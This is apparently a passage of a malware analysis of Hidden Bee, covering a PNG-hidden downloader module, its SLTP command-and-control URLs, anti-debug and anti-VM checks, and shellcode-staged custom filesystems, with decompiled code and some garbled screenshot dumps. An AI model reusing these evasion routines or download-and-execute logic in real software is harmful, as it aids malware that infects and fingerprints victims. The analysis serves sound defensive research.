             load_from_package(index, (int)decoded_buf, (int)&v10, module_name, 0);
68
             free_module(&v10);
 69
           }
 70
         }
 71
       }
72
       result = free(decoded buf);
     }
 73
74
    return result;
75}
```

It converts the PNG into byte content and decrypts it with the help of <u>ARIA cipher</u>. The result should be a CAB format. The unpacked CAB is supposed to contain a module "bin/i386/core.sdb" that also occurred in our previous encounters with Hidden Bee.

The authors are careful not to reuse URLs as well as encryption keys. That's why the Aria key is different for every unique payload. It is stored just after the end of the 0x10000401 module :

During the module's loading, the key is rewritten into another memory area, from which it is used to decrypt the downloaded module.



The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

< > ۵	Location:	🚞 /bin/i386/	
Name 👻	Size	Туре	Modified
🔝 core.sdb	26.7 kB	unknown	01 January 1970, 01:00

It contains core.sdb (<u>d1a2fdc79c154b120a0e52c46a73478d</u>). That is a second module in Hidden Bee's custom format.

000000000	01	04	00	10	1c	2a	85	00	6e	2a	00	00	1c	68	00	00	• • · • • * × ·	n*00•h00
00000010	bc				60	63	00		00				09				ו00`c00	0000 000
00000020	44	5e	4e	46	46		4e	46	46			0a				67	D^NFF NF	F00_0•0g
00000030	79		69	78	7e		4e	46	46			0c		29		61	y ix∼ NF	F00_0)0a
00000040	6f	78	64	6f	66				4e	46	46			0c		06	oxdof	NFF00_0•
00000050		6b	6e		6b		63		18		4e	46	46			0a	0kn kzc•	••NFF00_
00000060				7d	79		75		18		4e	46	46				0_0}y•u•	••NFF00
00000070				43	5a	42	46	5a	4b	5a	43		4e	46	46		0•0CZBFZ	KZC-NFF0
00000080						8c	e7	ae	97	81		82	Θd	5e	96	93	00000 <mark>×××</mark>	<pre>xxtx_^xx</pre>
00000090		ca	96	93		dl	fe	f0	ef	9d	bb	93		сс	Зf	0 C	• × × × • × × × ×	×××ו×?
000000a0	af	4f	5b	a8	63		e2	e1	f9	89	5f	b7	29	8d	af	d2	×0[×cw××	××_×)×××
000000b0	7d	f8	5c	ef	6e		Зc	94	7c	0b		b5	a5	d6	94	93	}×\×nr<×	- xxxxx
000000c0		f5	26	bd	6b	8b	fc	bf	7e	90	75	82	Θd	30	b8	82	•×&×k×××	~×u×_0××
000000d0	0d	ea	Зd	9d	7c	e0	a9	e0	da	65	9c	46	ce	d9	16	1f	x=x xxx	×e×F××

Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the analogical component seen one year ago). The embedded links:

```
sltp://dns.howtocom.site:1108/minimal.bin?id=998
sltp://bbs.favcom.space:1108/setup.bin?id=999
```

Execution flow

- 1. Checks for blacklisted processes. If any are detected, exits.
- 2. Removes functions: DbgBreakPoint, DbgUserBreakPoint by overwriting their beginning with the RET instruction.
- 3. Checks if the malware is already installed. If yes, exits.
- 4. Creates an installation mutex {71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.
- 5. If the module was run with the flag==1:
 - 1. Connects to the first address:

```
sltp://dns.howtocom.site:1108/minimal.bin?id=998
```

- 2. Sets an environment variable **INSTALL_SOURCE** to the value given as an argument.
- 3. Runs the downloaded next stage module.
- 6. If the module was run with the flag!=1:
 - 1. Performs checks against VM. If detected, exits.
 - 2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999 . This time, appends the
victim's fingerprint to the URL. Format: <URL>&sid=<INSTALL_SID>&sz=<unique
machine ID: 16 bytes hex>&os=<Windows version number>&ar=
<architecture>

3. Runs the downloaded next stage module.

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted processes are running. The enumeration of the processes is implemented using a low-level function: **NtQuerySystemInformation** with a parameter 5

(SystemProcessInformation).

```
j_memset((int)v1, 0, SystemInformationLength);
36
37
      if ( !NtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38
      ł
        while ( !blacklisted_processes[0] )
39
40
        {
41 check next:
42
          if ( !*( DWORD *)v2 )
43
            goto finished;
44
          v2 += *( DWORD *)v2;
45
        }
        next_proc_name = blacklisted_processes;
46
47
        _next_proc_name = blacklisted_processes;
48
        while (1)
49
        {
          RtlInitUnicodeString(&v6, *next_proc_name);
50
51
          if ( (_WORD)v6 == *((_WORD *)v2 + 28) )
52
          {
            if ( (unsigned __int8)RtlEqualUnicodeString(&v6, v2 + 56, 1) )
53
54
              break;
55
          }
56
          next_proc_name = _next_proc_name + 1;
57
           next proc name = next proc name;
58
          if ( !*next_proc_name )
59
            goto check_next;
60
        blacklisted found = 1;
61
      }
62
63 finished:
64
      LocalFree(v7);
65
    }
66 return blacklisted found;
67 }
```

The blacklist contains popular debuggers and sniffers:

"devenv.exe", "wireshark.exe", "vmacthlp.exe", "procmon.exe", "ollydbg.exe", "idag.exe", "ImmunityDebugger.exe", "windbg.exe"

"EHSniffer.exe", "iris.exe", "procexp.exe", "filemon.exe", "fiddler.exe"

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are detected, the execution of the module terminates.

Another function deploys a set of anti-VM checks. The anti-VM checks include:

```
46 ms_exc.registration.TryLevel = 0;
47 CPUID_check(&v27, 0x40000000);
48 *(_DWORD *)v33 = v28;
49 *(_DWORD *)&v33[4] = v29;
50 *(_DWORD *)&v33[8] = v30;
51 ms_exc.registration.TryLevel = -1;
52 HIBYTE(v34) = 0;
53 if ( VPCEXT_check() )
54 goto set_vm_flag;
55 if ( VMWare_io_check() )
56 goto set_vm_flag;
```

CPUID with EAX=40000000 (a check for Hypervisor's Brand):

```
U
                40000000h
024335CB push
                eax, [ebp+var_844]
024335D0 lea
024335D6 push
                eax
024335D7 call CPUID check
0243341A pusha
0243341B mov eax, [ebp+arg_4]
0243341E xor
               ebx, ebx
02433420 xor
               ecx, ecx
02433422 xor edx, edx
02433424 cpuid
02433426 mov
              edi, [ebp+arg_0]
The VMWAre I/O Port (more details [here]):
02433534 mov
                eax. 'VMXh'
```

0243333A	lilov	eax,	VINAN		
0243353F	mov	ebx,	0		
02433544	mov	ecx,	ØAh		
02433549	mov	edx,	'vx'		
0243354E	in	eax,	dx	;	check_for_VMware
0243354F	cmp	ebx,	'VMXh'		
02433555	setz	[ebp+	-var_1C]		

VPCEXT instruction (more details [here])

024334B3 push ebx 024334B4 mov ebx, 0 024334B9 mov eax, 1 024334BE vpcext 7, 0Bh 024334C2 test ebx, ebx 024334C4 setz [ebp+var_1C]

Checking the list of common VM vendors:

```
57 v0 = decode_memory(&str_XenVMMXenVMM);
                                                  // "XenVMMXenVMM"
58
   if (!strncmp(v33, v0, 12))
59
    goto set_vm_flag;
                                                  // "VMwareVMware"
60
   v1 = decode_memory(&str_VMWareVMware);
61
   if ( !strncmp(v33, v1, 12) )
     goto set_vm_flag;
62
    v2 = decode_memory(&str_KVMKVMKVM);
                                                  // "KVMKVMKVM"
63
64
   if ( !strncmp(v33, v2, 12) )
65
     goto set vm_flag;
                                                  // "KVMKVMKVM"
66
   v3 = decode_memory(&str_KVMKVMKVM);
67
    if ( !strncmp(v33, v3, 12) )
68
      goto set vm flag;
69
    v4 = decode memory(&unk_2435F78);
                                                  // " lrpepyh vr"
70
    if ( !strncmp(v33, v4, 12) )
71
      goto set_vm_flag;
72
    v5 = decode_memory(&unk_2435F58);
                                                  // "sbiedll.dll"
73
    if ( GetModuleHandleA(v5) )
74
    goto set vm flag;
75
   if ( !GetComputerNameW(Buffer, &nSize) )
76
     goto set_vm_flag;
77
    v6 = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78
   if ( !lstrcmpiW(Buffer, v6) )
79
     goto set_vm_flag;
80
   nSize = 1024;
81
   if ( !GetUserNameW(Buffer, &nSize) )
82
     goto set vm flag;
83
    v7 = (const WCHAR *)decode_memory(&unk_2435F08);// L"CurrentUser"
   if ( !lstrcmpiW(Buffer, v7) )
84
85
     goto set_vm_flag;
86
    v8 = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
87
    if ( !lstrcmpiW(Buffer, v8) )
88
      goto set vm flag;
```

Checking the BIOS versions typical for virtual environments:

```
v9 = decode_memory(&unk_2435EE8);
v10 = decode_memory(&unk_2435EC8);
shlwapi_d11 = LoadLibraryA(v10);
StrStrIA = GetProcAddress(shlwapi_d11, v9);
                                                                                                     // "StrStrIA"
  89
                                                                                                     // "shlwapi.dll"
  91
  92
        StrStrIA = GetProCAddress(ShIWap1_dl1, V9);
if (!StrStrIA)
goto not_detected;
j_memset((int)Buffer, 0, 2048);
v12 = decode_memory(&unk_2435EA0); // "Syst
v13 = decode_memory(&byte_2435EA0); // "HARD
if ( read_registry_key(v13, v12, (BVTE *)Buffer, 0) )
  93
  94
  95
                                                                                       // "SystemBiosVersion"
  96
                                                                                                     // "HARDWARE\DESCRIPTION\System"
  97
  98
 99
         {
             if ( ((int (__stdcall *)(WCHAR *, const char *))StrStrIA)(Buffer, "VBOX") )
100
101
                goto set_vm_flag;
102
        - }
                                                                                                   // "VideoBiosVersion"
// "HARDWARE\DESCRIPTION\System"
          v14 = decode_memory(&unk_2435E40);
103
104
           v15 = decode_memory(&byte_2435E70);
       v16 = decode_memory(&unk_2435E20); // "VirtualBox"
if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(v17, Buffer, v16) )
goto set_vm_flag;
}
105
106
107
108
109
110
          v18 = decode_memory(&unk_2435EA0);
                                                                                                     // "SystemBiosVersion"
111
       via = decode_memory(&unk_24352R0); // 'SystembloSverSion
vi9 = decode_memory(&str_Windows_CurrentVerSion);// 'SOFTWARE\Microsoft\Windows\CurrentVersion"
if ( read_registry_key(v19, v18, (BYTE *)Buffer, 0)
&& ((id1 = decode_memory(&unk_2435D84), ((int (_thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(v21, Buffer, id1))// "55274-640-2673064-23950"
|| (id2 = decode_memory(&unk_2435D83), ((int (_thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(v23, Buffer, id2))// "76487-644-3177037-23510"
|| (id3 = decode_memory(&unk_2435D5C), ((int (_thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(v25, Buffer, id3))) // "76487-337-8429955-22614"
114
116
117
118 set_vm_flag:
              vm_detected = 1;
119
120 }
121
        else
122
       vm_detected = 0;
}
123 not_detected:
124
125
          return vm_detected;
126
127 }
```

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules

The next elements of HiddenBee are downloaded over the custom "STLP" protocol.

024348F6	lea	eax, [ebp+var_40]
024348F9	push	offset aSltp ; "sltp"
024348FE	push	eax
024348FF	call	j_strcmp
02434904	рор	ecx
02434905	test	eax, eax
02434907	рор	ecx
02434908	jnz	loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

```
LOWORD(v27) = htons(hostshort[0]);
socket = WSASocketA(2, 1, 0, 0, 0, 1u); // address family: 2 (AF_INET)
                                         // type: 1 (SOCK_STREAM)
                                         // protocol : 0 (unspecified)
                                         // lpProtocolInfo: NULL
                                         // group: NULL
                                         // flags: 1 (WSA_FLAG_OVERLAPPED)
v6[13] = socket;
if ( socket != -1 )
{
 vInBuffer = 0x25A207B9;
  v32 = 0 \times DDF3u;
 v33 = 0x4660;
  v34 = 0x8Eu;
 v35 = 0xE9u;
  v36 = 0x76;
  v37 = 0xE5u;
  v38 = 0x8Cu;
  v39 = 0x74;
  v40 = 6;
  v41 = 0x3E;
  if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, 0) )
  {
    callback = 0;
    if ( WSAIoctl(v6[13], 0xC8000006, &vInBuffer, 0x10u, &callback, 4u, (LPDWORD)&cbBytesReturned, 0, 0) != -1 )
    {
     *(_DWORD *)name.sa_data = 0;
     *(_DWORD *)&name.sa_data[4] = 0;
      *(_DWORD *)&name.sa_data[8] = 0;
      *(_WORD *)&name.sa_data[12] = 0;
      v26 = 2;
      v12 = v6[13];
      name.sa_family = 2;
      *( WORD *)name.sa_data = 0;
      *(_DWORD *)&name.sa_data[2] = 0;
      if ( bind(v12, &name, 16) != -1 )
      {
        j_memset((int)v6, 0, 20);
        if ( !callback(v6[13], &v26, 16, 0, 0, &cbBytesReturned, v6) && WSAGetLastError() == 0x3E5 )
          return 1;
      }
    }
  }
  closesocket(v6[13]);
```

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:

```
do
{
  v5 = v4[1];
  if ( v5 )
  {
    if ( v5 == 2 )
    {
       v6 = *(v4 - 1);
      if ( v6 + *v4 > a2 )
        break;
      fs size = *v4;
      custom fs = & buffer[v6];
    }
  }
  else
  {
    if ( *(v4 - 1) + *v4 > a2 )
      break;
    new module = (void ( stdcall *)(int ( stdcall **)(int), BYTE *, DWORD))VirtualAlloc(0, *v4, 0x1000u, 0x40u);
    if ( new_module )
      j_memcpy((int)new_module, (int)&_buffer[*(v4 - 1)], *v4);
  ++buffera;
  v4 += 3;
}
while ( (unsigned int)buffera < *((_DWORD *)_buffer + 1) );</pre>
if ( new_module )
{
  if ( custom fs )
  {
    functions_list[0] = to_malloc;
    functions_list[2] = (int (__stdcall *)(int))to_memcpy;
    functions_list[1] = to_free;
functions_list[3] = *(int (__stdcall **)(int))VirtualAlloc;
functions_list[4] = *(int (__stdcall **)(int))VirtualFree;
// "TuGueryInformation"
                                               // "ZwQueryInformationProcess"
    decode_memory(&input_arr);
    v7 = decode_memory(&str_ntdll_dll);
    v8 = GetModuleHandleA(v7);
    functions_list[5] = (int (__stdcall *)(int))GetProcAddress(v8, v9);// ZwQueryInformationProcess
    new_module(functions_list, custom_fs, fs_size);
    VirtualFree(new module, 0, 0x8000u);
  }
}
```

The way in which it is loaded reminds me of the elements we described recently in "<u>Hidden</u> <u>Bee: Let's go down the rabbit hole</u>". The current module loads a list of functions that will be passed to the next module. It is a minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its components. This filesystem is important for the execution flow because it contains many other components that are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its SHA256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG, PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256 hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this part, we do not see anything malicious. The elements that are more important are well protected and revealed at the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second. First, it loads its own imports using hardcoded names of libraries.

			_	-
000000B1	sub	edi, ecx		
000000B3	mov	[ebp+var_4C],	6Bh	; 'k'
000000B9	mov	[ebp+var_4A],	65h	; 'e'
000000BF	mov	[ebp+var_48],	72h	; 'n'
000000C5	mov	[ebp+var_46],	6Eh	; ' <mark>n</mark> '
000000CB	mov	[ebp+var_44],	65h	; 'e'
000000D1	mov	[ebp+var_40],	33h	; '3'
000000D7	mov	[ebp+var_3E],	32h	; '2'
000000DD	mov	[ebp+var_3C],	2Eh	3112
000000E3	mov	[ebp+var_3A],	64h	; 'd'
000000E9	mov	[ebp+var_18],	6Eh	; ' <mark>n</mark> '
000000EF	mov	[ebp+var_16],	74h	; 't'
000000F5	mov	[ebp+var_14],	64h	; 'd'
000000FB	mov	[ebp+var_E],	2Eh	1.1
00000101	mov	[ebp+var_C],	64h	; 'd'
00000107	mov	ebx, [esi]		

The checksums of the functions that are going to be used are stored in the module and compared with the names calculated by the function:

```
1 unsigned int stdcall calc checksum( BYTE *func name)
2 {
3 _BYTE *_func_name; // edx
4 unsigned int checksum; // eax
5 char next_char; // cl
6
    unsigned int prev res; // esi
7
    int _next_char; // eax
8
9
    func name = func name;
                                                           The checksum calculation
10
   checksum = 0;
11 for ( next_char = *func_name; next_char; ++_func name )
12 {
    prev_res = (checksum >> 13) | (checksum << 19);</pre>
13
      next char = next char;
14
    next_char = _func_name[1];
15
     checksum = prev_res + _next_char;
16
17
    }
18 return checksum;
19 }
```

algorithm

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdll.dll: RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx package.

	•
🗾 🚄 🖼	
00000199 mov	ebx, [ebp+arg_C]
0000019C mov	ecx, [ebx+4]
0000019F cmp	dword ptr [ecx], ' <mark>xcr</mark> !'
000001A5 jnz	loc_28B

Checking the !rcx magic (first stage shellcode)

A new memory area is allocated, and the second stage shellcode is unpacked there.

```
new_module_ep = 0;
v15 = GetProcessHeap(8, *((_BYTE **)i + 2));
v16 = (_BYTE *)RtlAllocateHeap(v15);
indx = 0;
buffer = v16;
if ( v16 )
{
  if ( *((_DWORD *)i + 2) > 0u )
  {
    v18 = i + 16 - v16;
    do
    {
      ++indx;
      *v16 = v16[v18] ^ 0xE1;
      ++v16;
    -}
    while ( indx < *((_DWORD *)i + 2) );</pre>
    _to_rcx_ptr = to_rcx_ptr;
  }
  allocated_buf1 = (unsigned __int16 *)_allocated_buf1;
  if ( decode_module(
         (int)&VirtualAlloc,// loaded_functions_list
         (int)buffer,
*((_DWORD *)i + 2),
         (int)_allocated_buf1,
         *((_DWORD *)i + 3)) == *((_DWORD *)i + 3) )
    new module ep = allocated_buf1;
  v20 = GetProcessHeap(0, buffer);
  RtlFreeHeap(v20);
  if ( new module ep )
  ((void (__stdcall *)(int (__stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD))new module ep)(
      &VirtualAlloc, // loaded_functions_list
      flag,
      _to_rcx_ptr[1],
*_to_rcx_ptr);
}
result = (unsigned __int16 *)VirtualFree(_allocated_buf1, 0, 0x8000);
```

Decoding and calling next module

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:

/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

```
if ( rdx_ptr )
{
  v32 = v10[3];
  crypt_init(&crypt_ctx, &crypt_keybuf);
 dec size = 0;
  if ( v10[2] )
  ł
    chunk ptr = ( BYTE *)sizea;
    for ( i = (int)((char *)v10 - sizea + 16); ; i = (int)((char *)v10 - sizea + 16) )
    {
      crypt_round(chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
     dec_size += 16;
     chunk ptr += 16;
     if ( (unsigned int)dec_size >= v10[2] )
        break;
    }
   rdx_ptr = _rdx_ptr;
  }
  if ( decompress((int)functions list, (int)rdx ptr, &v32, sizea, v10[2]) )
    goto LABEL 38;
  v17 = ((int (__stdcall *)(signed int, signed int))functions_list[2])(8, 12);
  v18 = ( DWORD *)((int ( stdcall *)(int))functions list[3])(v17);
  v34 = v18;
  if ( !v18 )
    goto LABEL 38;
  *v18 = rdx ptr;
  if ( *rdx ptr == 'xdr!' )
  Ł
    v18[1] = rdx_ptr + 1;
    v18[2] = v10[3];
  }
 📕 🚄 🔛
 00000619 mov
                  [eax], ebx
                                            Checking the !rdx magic (second stage
 0000061B cmp
                  dword ptr [ebx], 'xdr!'
00000621 jnz
                  short loc 631
                      .
```

shellcode)

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed, after the decryption is complete, the custom filesystem is revealed:

		-													_							
005605B0		PU	SH	EAX																		
005605B1			ᇿ	005	626	8E					· • ·	~			ory	pt_	_ L N L	t				
00560586		HU	R R	WUR	U P	TR.	SS:	분봉	P+0	RC1	, 68	<u>и</u> –										
005605BH		l Ch	달 빛	WUR	ΨP	TR DEC	US:	ĽΕS	1+0	881	, ØX	0										
00560566	1		<u>5</u> 2		DUO	000	DTD	<mark>-</mark> دە		DD1	Q., 1	01										
00560500	I	112	ΧĒ	80'	DWO	BD .	6 TB	ne		OT1	081	01										
00560505		161	86	801	EBY	nu -	E IN	03		517	081	61										
00560506		1 MO		HOP		TD	ee.	r e d	$D \pm Q$		FO	v.										
005605C8			řš	HOR	Та	1056	asn	a		201	, СН	0										
005605CD	ľ	1 MO	υĔ	ΩX.	DHO	RD	PTR	.	• FE	BP+	a.s	1										
00560500		LI'Ĕ	άĒ	797	DÃO	RD .	PTR	- 88	: 76	BP-	ã01	501										
00560506		lān	ñĒ	ĂX.	FBX						0112											
00560508	I	PU	δн	FCX																		
00560509	I	1 PŬ	ŠН	ĒĀX																		
005605DA		ΙÞŨ	ŠН	EBX																		
005605DB		I CA	LL	005	621	92									ory	pt_	rou	ind				
005605E0		AD	DD	WOR	D P	TR	SS:	LEB	P+0	RC1	. 0x	10										
005605E4		AD	DΕ	ΒX,	0x1	0																
005605E7	I	MO	VΕ	AX,	DWO	RD	PTR	SS	: [E	BP+	0xC	1										
005605EA		CM	ΡЕ	AX,	DWO	RD	PTR	DS	: [E	SI+	0x8	1										
005605ED	1^	JB	SH	IORT	00	560	5CD															
005605EF		MO	VΕ	ВΧ,	DWO	RD	PTR	SS	: [E	BP-	0x8	1										
005605F2		PU	SH	DWO	RD	PTR	DS	: [E	SI+	0x8]	_										
005605F5		LE	ΑE	ΆX,	DWO	RD	PTR	SS	: [E	BP-	0xC											
005605F8		PU	SH	DWO	RD	PTR	SS	:[E	BP+	0x1	01											
005605FB		PU	SH	EAX																		
005605FC		PU	SH	EBX																		
005605FD		PU	SH	EDI																		
005605FE	_	CH		005	606	66								_								
00560603		I IE	SI.	EHX	<u>, EH</u>	X	~ ~ ~															
00560605	1	1 <mark>N</mark> H	<u>c</u> s	HOR	1 0	056	064	6														
00550607		1 BU	SH.	N XC																		
00560609			эн	028		ото	DO		нт .	oo					1			0	D			
00560606				200	ND.	E IN	US.	:	DIT	9X0	- L				Kei	ne	132.	Geti	Froc	:ess	пеар)
4																						
EAX=00000	300	9																				
Address	He	k di	IWD	_	_	_	_	_	_	_			_	_	_	_	ASC	TT	_	_	_	
Address	He:	<u>k dı</u> 72		70	22	00	00	00	ED	01	00	00	00	96	00	00	ASC		06			
Address 01810048 01810058	He:	<u>; di</u> 72	1MP 64 6F	78 25	22	00	00	00 36	ED 2E	01 70	00 72	00 65	80 60	06 6F	00 61	00 64	ASC tro	:11 is")C	±	
Address 01810048 01810058 01810058	<u>Не</u> 21 62 00	<u>к di</u> 72 69 ЙЙ	1MP 64 6E 45	78 2F 90	22 69 90	00 33 00	00 38 60	00 36 08	ED 2F ØØ	01 70 00	00 72 00	00 65 20	80 6C 01	06 6F 00	00 61 62	00 64 69	ASC tro	∷II /x″. /i3	90 86∕p)C prel	ŧ oad	
Address 01810048 01810058 01810058 01810068 01810078	He: 21 62 00 6E	<u>+ di</u> 72 69 00 2F	4MP 64 6E 45 61	78 2F 00 6D	22 69 00 64	00 33 00 36	00 38 6D 34	00 36 08 2F	ED 2F 00 63	01 70 00 6F	00 72 00 72	00 65 20	80 6C 01 64	06 6F 00 6C	00 61 62 60	00 64 69 2E	ASC tro bin E	II ∕i3 ∕i3	90 86∕⊏ M∎)C prel 0	∲ oad .bi	
Address 01810048 01810058 01810058 01810078 01810078	He: 21 62 62 62	<u>; di</u> 72 69 2F 69	64 65 61 65	78 2F 6D 00	22 69 00 64	00 33 00 36 64	00 38 6D 34 90	00 36 08 2F 00	ED 2F 00 63	01 70 6F 6D	00 72 00 72 34	00 65 2C 65 01	80 6C 01 64 00	06 6F 00 6C 00	00 61 62 60	00 64 69 2E	ASC fro bin E n/a bin	∷II /i3 /i3	90 86∕⊑ 4∕cc)C prel .,0 pred	ŧ oad .bi ll.	
Address 01810048 01810058 01810058 01810078 01810078 01810098	He: 21 62 00 6E 62 00	+ di 72 69 2F 69 62	64 65 61 65 69	78 2F 00 6D 6E	22 69 00 64 2F	00 33 00 36 64 61	00 38 6D 34 00 6D	00 36 2F 00 64	ED 2F 00 63 00 36	01 70 6F 6D 34	00 72 00 72 34 2F	00 65 20 65 01 70	80 6C 01 64 00 72	06 6F 00 6C 00	00 61 62 60 99 60	00 64 2E 00 6F	ASC tro bin E n/a bin .bi	II /i3 /i3 md6 d)C prel 0 pred 140.	t oad .bi ll.	
Address 01810048 01810058 01810058 01810068 01810078 01810098 01810098	He: 21 62 62 62 62 61	+ di 72 69 2F 62 64	4 64 65 61 62 69 00	78 2F 00 6D 6D 6D	22 69 64 02 87	00 33 00 36 64 61	00 38 6D 34 00 6D 00	00 36 08 26 00 64	ED 2F 00 63 00 36 6D	01 70 6F 6D 34 3D	00 72 00 72 34 2F 01	00 65 20 65 01 70 00	80 60 64 00 72 10	06 6F 00 6C 00 65 05	00 61 62 09 60 00	00 64 2E 00 6F 00	ASC tro bin E bin .bi ad.	II ∕i3 md6 d n∕a	90 86∕р 4∕сс md64)C prel .,0 pred 140. ⊧∕pr		
Address 01810048 01810058 01810058 01810078 01810078 01810098 01810098 01810088	He: 21 62 00 62 00 61 62	₹ <u>dt</u> 729 00F 692 692 692	45 64 65 65 69 65	78 200 600 600 200 200	22 69 64 02 87 69	00 33 00 36 61 00 33	00 38 6D 34 6D 6D 00 38	00 36 2F 00 64 00 36	ED 2F 00 36 2F 2F	01 70 6F 6D 34 3D 6B	00 72 72 72 2F 01 70	00 65 20 65 01 70 00 60	80 60 64 72 10 6F	06 6F 00 6C 05 05	00 61 62 60 60 60	00 64 69 06 69 65	ASC tro bin E bin .bi ad. bin	:II /i3 /i3 /i3 /i3 /i3 /i3	90 86∕⊏ 4∕cc md64 86∕k)C prel .,0 pred 140. k∕pr :0.▶	<pre></pre>	
Address 01810048 01810058 01810058 01810078 01810078 01810098 01810098 01810088 01810088 01810088	He: 21 62 62 62 61 62 72	+ di 729 02F9 6624 69E	64 65 65 69 62 62	78F 000 00E 00E 02F 02F 02F	229 04 02 89 60 28 96 60	00 33 00 36 61 00 33 00	00 38 6D 34 00 6D 38 00	00 36 28 08 08 00 64 00 36	EDF 00 00 00 00 00 00 00 00 00	01 70 6F 6D 3D 6B 00	00 72 02 72 24 24 70 70	00 65 20 65 01 70 60 70	80 60 64 72 10 6F 42	06 6F 00 6C 05 05 05	00 61 62 09 60 60 64 00	00 64 200 60 60 00 00	ASC fro bin E bin .bi ad. bin r.b	:II /i3 /i3 /i3 /i3 /i3 /i3	98 86∕⊏ 4∕cc md64 86∕k)C prel 0,0 0,0 0,0 140. 1/pr 0. 0,}		
Address 01810048 01810058 01810068 01810078 01810078 01810098 01810098 01810088 01810088 01810008 01810008	He: 212620620062006200620062000000000000000	+ 0 7290 2602 662 602 602 602 602 602 602 602 6	64 64 65 65 69 62 00 62 00	78F0 600 600 800 800 800 800 800 800 800 80	2290402F79E9	00 33 00 36 61 00 30 6E	00 38 6D 34 00 80 30 2F	00 36 2F 00 40 36 49 61	EDF 063 060 200 60D 60D	01 70 6F 6D 3D 6B 00 64	00 72 02 32F 01 70 36	00 65 265 01 70 60 7D 34	80 60 64 72 64 72 6F 25	06 6F 00 65 05 61 01 63	00 61 62 09 60 60 67	00 64 200 60 60 60 60 60	ASC fro bin E bin .bi ad. bin r.b	:II /i3 /i3 /i3 /i3 /i3 /i3 /i3	96/p m d 4/cc md64 m= 86/k ę)C prel 0.40. 140. 140. 20. 20. 20.		
Address 01810048 01810058 01810068 01810068 01810098 01810098 01810098 01810088 01810088 01810088 01810088 01810088	Hei 21 60 62 06 62 06 10 62 10 60	290F9249E0F	64 64 64 65 66 60 62 06 60 60 60 60 60 60 60 60 60 60 60 60	78F0000E02602E	229 064 02 89 669 64	00 300 64 00 300 60 300 60 60	00 38 60 30 60 300 2F 60	00 368 200 64 0369 61 00	EDF 063 066 060 060 060	01 70 6 6 0 4 3 6 0 4 0 6 0 4 0 6 8 0 6 4 0 6 8 0 6 7 8 0 6 8 0 6 8 0 6 8 0 8 0 8 0 8 0 8 0 8	00 720 724 201 700 300 300	00 65 01 70 60 70 34 00	80 60 60 70 64 20 64 20 64 20	06 6F 06C 05 61 61 63 7D	00 61 62 09 60 60 60 65 55	00 69 200 69 60 60 60 60 60	ASC tro bin E bin .bin ad. bin r.b L	II /i3 /i3 /i3 /i3 /i3 /i3 /i3 /i3	- 90 86⁄⊏ 4⁄cc md64 m= 86⁄k .e. ⁄amc 1īī)C prel 140. 140. 140. 140. 140. 140. 140.		
Address 01810048 01810058 01810058 01810078 01810078 01810098 01810098 01810088 01810088 01810008 01810008 01810058 01810058	Hei 21200 6200 6200 6220 600 6220 600	290F9249E0F0	100 64 64 64 66 60 66 00 66 00 66 00 65 00 65	720000E0F92E0	229040F79E940	00 300 364 60 300 60 300 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 20 20 20 20 20 20 20 20 20 20 20 20	00 36D 00 00 00 00 00 00 00 00 00 00 00 00 00	00 368 200 400 305 60 60 60 60	EDF 0600 600 600 2000 2000 2000 2000 2000	01 70 66 30 60 40 60 40 69	00 700 734 700 700 800 300 300	00 65 265 01 70 60 70 80 30 38	80 60 60 10 67 20 67 20 67 20 36	06 6F 06C 065 61 63 7D 2F	00 61 62 00 60 60 60 60 65 56 8	004 69E06F065060 6050600 6050600000000000000000	ASC tro bin E bin .bin ad. bin r.b L Mon E	II /i3 /i3 /i3 /i3 /i3 /i3 /i3 /i3 /i3	- 90 86∕p 4⁄cc 4⁄cc 86⁄k .e. ⁄amc 1īī)C prel 0.40 140. 1/pr 0.} 10 10 10 10 10 10 10 10 10 10		
